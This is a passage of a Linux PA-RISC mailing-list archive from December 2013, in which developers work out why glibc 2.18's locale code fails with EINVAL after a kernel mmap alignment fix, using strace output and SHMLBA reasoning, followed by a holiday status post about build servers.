Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>, carlos@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 20 00:02:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vtmc0-0002Wi-J3
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Dec 2013 00:02:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755993Ab3LSXCg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 18:02:36 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:50961 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754470Ab3LSXCf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 18:02:35 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 2705833F5ED;
	Thu, 19 Dec 2013 23:02:35 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.12.1; KDE/4.6.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5555>

--nextPart2381712.e94IgjGsNi
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 19 December 2013 17:38:37 John David Anglin wrote:
> On 12/19/2013 4:19 PM, Mike Frysinger wrote:
> > On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
> >> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
> >>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> >>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> >>>=20
> >>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> >>> cannot map archive header: Invalid argument
> >>>=20
> >>> strace looks like this:
> >>>=20
> >>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) =3D 0x42f34000
> >>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED,
> >>> 3, 0) =3D -1 EINVAL (Invalid argument)
> >>>=20
> >>> With the patch reverted, it works:
> >>>=20
> >>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) =3D 0x42d74000
> >>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED,
> >>> 3, 0) =3D 0x43000000
> >>>=20
> >>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
> >>> https://sourceware.org/bugzilla/show_bug.cgi?id=3D10283
> >>=20
> >> Are you sure the glibc changes are correct?  PARISC addresses are not
> >> strictly aligned to SHMLBA.
> >> There's also a page offset and "random" offset derived from the kernel
> >> address of the mapping struct.
> >=20
> > the glibc changes were to use SHMLBA as the min alignment where as befo=
re
> > it was using PAGE_SIZE.  the kernel shouldn't reject us because we
> > manually increased our alignment ... the mappings should still be
> > overlapping, so it shouldn't be an "out of mapping space" issue.
> >=20
> > the first one gets a really large map (not fixed), and then the second
> > does a small mapping inside of that first one.
>=20
> The mmap check is here:
>=20
>          if (flags & MAP_FIXED) {
>                  if ((flags & MAP_SHARED) &&
>                      (addr - shared_align_offset(filp, pgoff)) & (SHMLBA
> - 1))
>                          return -EINVAL;
>                  return addr;
>          }
>=20
> In the case at hand, the addr value passed is not equivalent to the value
> returned on first mmap2 call.  So, the error is correct.  The
> application has to
> preserve the "SHMLBA - 1" part of the address when selecting a new map
> address.
>=20
> The error is EINVAL (i.e., bad address).
>=20
> The old code wouldn't have returned an error but the second mapping
> would not
> have been equivalent to the first.
>=20
> My head spins regarding mappings inside mappings as it seems they may
> conflict.

we designed the new locale code to work on all systems (including fixing th=
e=20
behavior on older parisc64 kernels).  the assumption is that, if we want to=
 do=20
overlapping mappings, we need to use SHMLBA as the min alignment (since tha=
t's=20
what the define represents -- shared mapping alignments that the hardware i=
s=20
restricted by).  and that is what the new locale code is doing.  glibc defi=
nes=20
SHMLBA to 0x00400000 for parisc which is why 0x42d74000 turned into=20
0x43000000.

so either SHMLBA on parisc is wrong, or the new kernel code is wrong
=2Dmike

--nextPart2381712.e94IgjGsNi
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJSs3sPAAoJEEFjO5/oN/WB08oP/ix9y9dqej8GDmVoxZiy4LIt
mkUSEslHWqwQRKRvVt5p5t031KmM46LJqrvzBafV+5vZaf/9SLaRiLJaE1OCjwFf
U51QdwrULnzPj+bg7Z6z6ynJnuiziSNs5zHZ2LWF8Fxg0aM9PRvDi7Pwnh3K3QPi
3a1fk+T1EZOw5cEF7EhfsA+5sC3gogqOpgzsXRjKWv5AOKADgoKSUFt71XOaKrGm
KRlGDOaNdoNGQPUUbpfft/4GBBVSXZlv7K3XVQUmgi8QrIzy717aRyEZwRu3utxT
oQeHATxUGxoAW9NqIT9go9J4K1n/0HuPOX/Z+fvb45yc9DxTg9wGlciTc/QnLeGq
ZxGUL1rRmN+CuliMqOtimck7GVSzXRb69TiPrfsEiwsJeOkz7CIrOJbNR4FfCM+4
6NUG154o8umR77NQaUVpRDkEJG82M0ZkqspwWX0Ce/C2l6ghSiYUkfSw9OpVvszr
vj5i1ExP8nUythMco/9ZspgUgQvNqRnJq+0627iBO6xS/MvJQHxFkrrlCbkpKfA7
OVbjYzoI0n+Qq+uIiY8ZytETLqp3d9MrkZr8sMHhM2lob9Hh1Zi65FEjB93XHIOP
fiHy6m8dbcLDYs11/qep3YdNmEl6UINIXGG8/A2W12oWje6WK6xNzJhqp/UNXo7c
2MQ55pskeRrialvfToOk
=lJC6
-----END PGP SIGNATURE-----

--nextPart2381712.e94IgjGsNi--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Fri, 20 Dec 2013 23:10:03 +0100
Lines: 140
Approved: news@gmane.org
Message-ID: <52B4C03B.2000805@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <201312191619.05005.vapier@gentoo.org> <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl> <201312191802.39169.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387577403 29392 80.91.229.3 (20 Dec 2013 22:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Dec 2013 22:10:03 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>, carlos@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 20 23:10:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vu8Gl-0006bi-VX
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Dec 2013 23:10:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753063Ab3LTWKH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Dec 2013 17:10:07 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:60391 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753519Ab3LTWKF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Dec 2013 17:10:05 -0500
Original-Received: from [192.168.178.60] ([84.173.52.5]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MRCCJ-1W4q390i35-00UduC for
 <linux-parisc@vger.kernel.org>; Fri, 20 Dec 2013 23:10:04 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <201312191802.39169.vapier@gentoo.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:tmg9wRvREXM7We7304N8EnKIHtXSCqS9RfJlaz7Ps/sQmwNcKUm
 Sb9itDFTwZ/snxSg1P2eikG47PSvPUUEF2wv9EHzjrFa2BBuIPVeKAOPc+DYVtstf+WPScG
 /aT/Q3QFiG8iwzcV7Y+HnSdbiE2a/MPy2oc1hId/Y3Bt5e6BeMfqRTNIpAdDLibeX2qCO3C
 tE3N6Kr9n3DiWUZxdwtaA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5556>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi all,

On 12/20/2013 12:02 AM, Mike Frysinger wrote:
> On Thursday 19 December 2013 17:38:37 John David Anglin wrote:
>> On 12/19/2013 4:19 PM, Mike Frysinger wrote:
>>> On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
>>>> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
>>>>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
>>>>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>>>>>
>>>>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
>>>>> cannot map archive header: Invalid argument
>>>>>
>>>>> strace looks like this:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
>>>>>
>>>>> With the patch reverted, it works:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000
>>>>>
>>>>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
>>>>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
>>>>
>>>> Are you sure the glibc changes are correct?  PARISC addresses are not
>>>> strictly aligned to SHMLBA.
>>>> There's also a page offset and "random" offset derived from the kernel
>>>> address of the mapping struct.

Yes, that's the important part: The "random" offset stays constant for each file (mapping)!

>>> the glibc changes were to use SHMLBA as the min alignment where as before
>>> it was using PAGE_SIZE.  the kernel shouldn't reject us because we
>>> manually increased our alignment ... the mappings should still be
>>> overlapping, so it shouldn't be an "out of mapping space" issue.
>>>
>>> the first one gets a really large map (not fixed), and then the second
>>> does a small mapping inside of that first one.
>>
>> The mmap check is here:
>>
>>          if (flags & MAP_FIXED) {
>>                  if ((flags & MAP_SHARED) &&
>>                      (addr - shared_align_offset(filp, pgoff)) & (SHMLBA
>> - 1))
>>                          return -EINVAL;
>>                  return addr;
>>          }
>>
>> In the case at hand, the addr value passed is not equivalent to the value
>> returned on first mmap2 call.  So, the error is correct.  The
>> application has to
>> preserve the "SHMLBA - 1" part of the address when selecting a new map
>> address.
>>
>> The error is EINVAL (i.e., bad address).
>>
>> The old code wouldn't have returned an error but the second mapping
>> would not
>> have been equivalent to the first.
>>
>> My head spins regarding mappings inside mappings as it seems they may
>> conflict.
> 
> we designed the new locale code to work on all systems (including fixing the 
> behavior on older parisc64 kernels).  the assumption is that, if we want to do 
> overlapping mappings, 

What you understand with "overlapping mappings" ?
Overlapping mappings for parisc means, that the bytes inside the file needs to be mapped at
exactly the same addresses (modulo SHMLBA). 

With the example above, it means for parisc:
mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
- -> OK.

mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL
- -> This is strange.
Now you map the "beginning of the file" (offset=0) at *another* address (modulo SHMLBA) than what the
first mmap gave you. I agree that 0x43000000 is "inside" the memory range which you originally mapped
with the large mapping, but that's not relevant for parisc at all.

Instead this should work:
mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
some_address = x * SHMLBA; /* some multiple of SHMLBA, e.g. 0x43000000 */
file_offset = some_address - 0x42f34000;
mmap2(some_address, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, file_offset) = -1 EINVAL

Not sure if this is what you wanted.
Anyway, it looks like we need to change glibc for that...

> we need to use SHMLBA as the min alignment (since that's 
> what the define represents -- shared mapping alignments that the hardware is 
> restricted by).  and that is what the new locale code is doing.  glibc defines 
> SHMLBA to 0x00400000 for parisc which is why 0x42d74000 turned into 
> 0x43000000.

Sounds like logically correct behavior.

> so either SHMLBA on parisc is wrong, or the new kernel code is wrong

SHMLBA on parisc is correct.
The new kernel code is correct too, and the old one was definitively wrong.

You could try my current rewrite for the mmap functions which is in my "aio_mmap_fix" branch at
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
(http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=aio_mmap_fix)
Pulling this branch on top of Linux head should work.
But I think it will not solve this problem.

Helge

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQIcBAEBAgAGBQJStMA7AAoJEKGDlV8wpRJBwugP/j7e6z+kS6bymrpuxYEBpE/n
c+yzgxjcaVwDL+KMln9cP2Zx6UAnTwYIXv8bmOmUA65FB9ttaqP73t/l8wIgjXai
BGC/951hPgyfI2Kxkvy1R32dsbBVNyIRNQfp/MADRS8xC059nlTIXib9NduaiKLg
Gp6YA2S6d24EdKooVfVRPh5c6sThePgvjQ6kmytxxOh8uOIdwLG2ZXGs4KC/e07B
1VFTH10ecijTUnqzl8awkw2OqO3VzllGJ2kCwZo2Zynpd58FUOu1UQSWWTsk4F08
owU8HfrEGVSSc7urrsIs2na8eXJ/jq44ksmfkDtGmKt4Ati7ShT6dMZuFgXRcluY
E6PaPrTMLW9nASBSv0FDfcR+BT1Ffghl0yEZ3rmYpnH+ExcotFWfyb/an/93AM2l
vPgHy0+SFMYxgsV0rNDU+qJajf/2Cpwz3At/iQDQRFjWaL7zyu8RNJ7BMc1Dml7Y
HodYc4bpP4ucM/RIGMTnJdw35mwQdhnfXOyCFJoUR5gPxCVKso+4cz32H+yK2rdp
2MpBke0j7AHbI/AWvrqsocqVuLKt6BSMos/yFTqbvFmoBqaAVIWP0dulxsl40Otu
y5LFh36mwcVcJftJ/2Dftlw+bSYEVeZbA2l+XU99Drgaod9ifHbt13FRdkRTR2um
q1m48iZVn0YPGEXcFO81
=ObSL
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sat, 21 Dec 2013 13:18:14 -0500
Lines: 131
Approved: news@gmane.org
Message-ID: <BLU0-SMTP14294CF312E46D2D08220497C70@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <201312191619.05005.vapier@gentoo.org> <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl> <201312191802.39169.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387649935 22836 80.91.229.3 (21 Dec 2013 18:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Dec 2013 18:18:55 +0000 (UTC)
Cc: carlos@redhat.com, Aaro Koskinen <aaro.koskinen@iki.fi>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 21 19:19:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VuR8E-00005P-RX
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Dec 2013 19:18:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754851Ab3LUSSe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Dec 2013 13:18:34 -0500
Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:43197 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754805Ab3LUSSd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Dec 2013 13:18:33 -0500
Original-Received: from BLU0-SMTP14 ([65.55.111.137]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Dec 2013 10:18:32 -0800
X-TMN: [aoXXmDuLf+mRAYJEk+7lSLAtK4QozDY4]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP14.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Dec 2013 10:18:31 -0800
In-Reply-To: <201312191802.39169.vapier@gentoo.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 21 Dec 2013 18:18:31.0389 (UTC) FILETIME=[0DA750D0:01CEFE79]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5557>

This is a resend of a comment previously sent (hit wrong button and it  
only went to Mike).

On 19-Dec-13, at 6:02 PM, Mike Frysinger wrote:

> On Thursday 19 December 2013 17:38:37 John David Anglin wrote:
>> On 12/19/2013 4:19 PM, Mike Frysinger wrote:
>>> On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
>>>> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
>>>>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the  
>>>>> current
>>>>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>>>>>
>>>>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
>>>>> cannot map archive header: Invalid argument
>>>>>
>>>>> strace looks like this:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED| 
>>>>> MAP_FIXED,
>>>>> 3, 0) = -1 EINVAL (Invalid argument)
>>>>>
>>>>> With the patch reverted, it works:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED| 
>>>>> MAP_FIXED,
>>>>> 3, 0) = 0x43000000
>>>>>
>>>>> BTW, note that for GLIBC 2.18 some changes were done regarding  
>>>>> this:
>>>>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
>>>>
>>>> Are you sure the glibc changes are correct?  PARISC addresses are  
>>>> not
>>>> strictly aligned to SHMLBA.
>>>> There's also a page offset and "random" offset derived from the  
>>>> kernel
>>>> address of the mapping struct.
>>>
>>> the glibc changes were to use SHMLBA as the min alignment where as  
>>> before
>>> it was using PAGE_SIZE.  the kernel shouldn't reject us because we
>>> manually increased our alignment ... the mappings should still be
>>> overlapping, so it shouldn't be an "out of mapping space" issue.
>>>
>>> the first one gets a really large map (not fixed), and then the  
>>> second
>>> does a small mapping inside of that first one.
>>
>> The mmap check is here:
>>
>>         if (flags & MAP_FIXED) {
>>                 if ((flags & MAP_SHARED) &&
>>                     (addr - shared_align_offset(filp, pgoff)) &  
>> (SHMLBA
>> - 1))
>>                         return -EINVAL;
>>                 return addr;
>>         }
>>
>> In the case at hand, the addr value passed is not equivalent to the  
>> value
>> returned on first mmap2 call.  So, the error is correct.  The
>> application has to
>> preserve the "SHMLBA - 1" part of the address when selecting a new  
>> map
>> address.
>>
>> The error is EINVAL (i.e., bad address).
>>
>> The old code wouldn't have returned an error but the second mapping
>> would not
>> have been equivalent to the first.
>>
>> My head spins regarding mappings inside mappings as it seems they may
>> conflict.
>
> we designed the new locale code to work on all systems (including  
> fixing the
> behavior on older parisc64 kernels).  the assumption is that, if we  
> want to do
> overlapping mappings, we need to use SHMLBA as the min alignment  
> (since that's
> what the define represents -- shared mapping alignments that the  
> hardware is
> restricted by).  and that is what the new locale code is doing.   
> glibc defines
> SHMLBA to 0x00400000 for parisc which is why 0x42d74000 turned into
> 0x43000000.
>
> so either SHMLBA on parisc is wrong, or the new kernel code is wrong
> -mike


I think there is a misunderstanding regarding the parisc alignment  
requirements.

Mappings don't have have to start on a SHMLBA boundary and they never  
have.  Equivalent mappings
have to be offset by an integer number of SHMLBA blocks.  This allows  
more than one mapping
in a SHMLBA block depending on size.

Two address are equivalent if:

	(addr1 & (SHMLBA - 1)) == (addr2 & (SHMLBA - 1)

See flush_dcache_page() implementation.

The value for SHMLBA is certainly ok for all parisc machines.

The align mask for parisc shared areas is "PAGE_MASK & (SHMLBA - 1)".
The align offset is "(get_offset(mapping) + pgoff) << PAGE_SHIFT".

I believe glibc is not taking into account the offset resulting from  
get_offset(mapping).  Some
other archs use random offsets.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Merry Christmas to all and a little heads-up...
Date: Sun, 22 Dec 2013 04:34:27 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <52B6CE43.2040307@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387712066 22596 80.91.229.3 (22 Dec 2013 11:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Dec 2013 11:34:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 22 12:34:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VuhIn-0000UY-0l
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Dec 2013 12:34:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753296Ab3LVLe3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Dec 2013 06:34:29 -0500
Original-Received: from landcomp.net ([192.119.43.5]:13713 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751232Ab3LVLe3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Dec 2013 06:34:29 -0500
Original-Received: (qmail 16821 invoked by uid 453); 22 Dec 2013 11:34:28 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sun, 22 Dec 2013 04:34:28 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5558 gmane.linux.debian.ports.hppa:7117
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5558>

Hiya folks!

Here's hoping everyone involved with the parisc-linux project has a 
Merry Christmas and a safe and Happy New Year.

Work is coming along nicely with our newly commissioned buildd server.
The hpviz is actually running multiple buildd's thanks to Dave Anglin 
and especially, Helge Deller and his hard work, and a custom-built 
kernel. It seems to be handling those and anything else we can throw at 
it, including our development website listed below. We still have one 
more machine for number-crunching and possibly package building, if my 
bandwidth will tolerate it. :-)

The RP-2470 (A500), is up and running on the 3.11-1-parisc64-smp kernel, 
and so far is functioning nicely as a file server and part-time web-app 
server at the moment.

We also have a J6000 workstation that will probably be more relegated 
for test work, etc. (My electric bill is already high!), so it will 
probably be offline more than on. If you'd like to check out what we're 
up to, and the current setup, take a look below. Suggestions are welcome!

Dave L.

http://www.landcomp.net:884/wp/
-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Psychedelic Squid <psquid@psquid.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Sun, 22 Dec 2013 19:33:04 +0000
Lines: 163
Approved: news@gmane.org
Message-ID: <20131222193302.GA25512@sylph>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1387740819 16516 80.91.229.3 (22 Dec 2013 19:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Dec 2013 19:33:39 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, Paul Mundt <lethal@linux-sh.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Al Viro <viro@zeniv.linux.org.uk>,
        Andrew Morton <akpm
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 22 20:33:41 2013
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
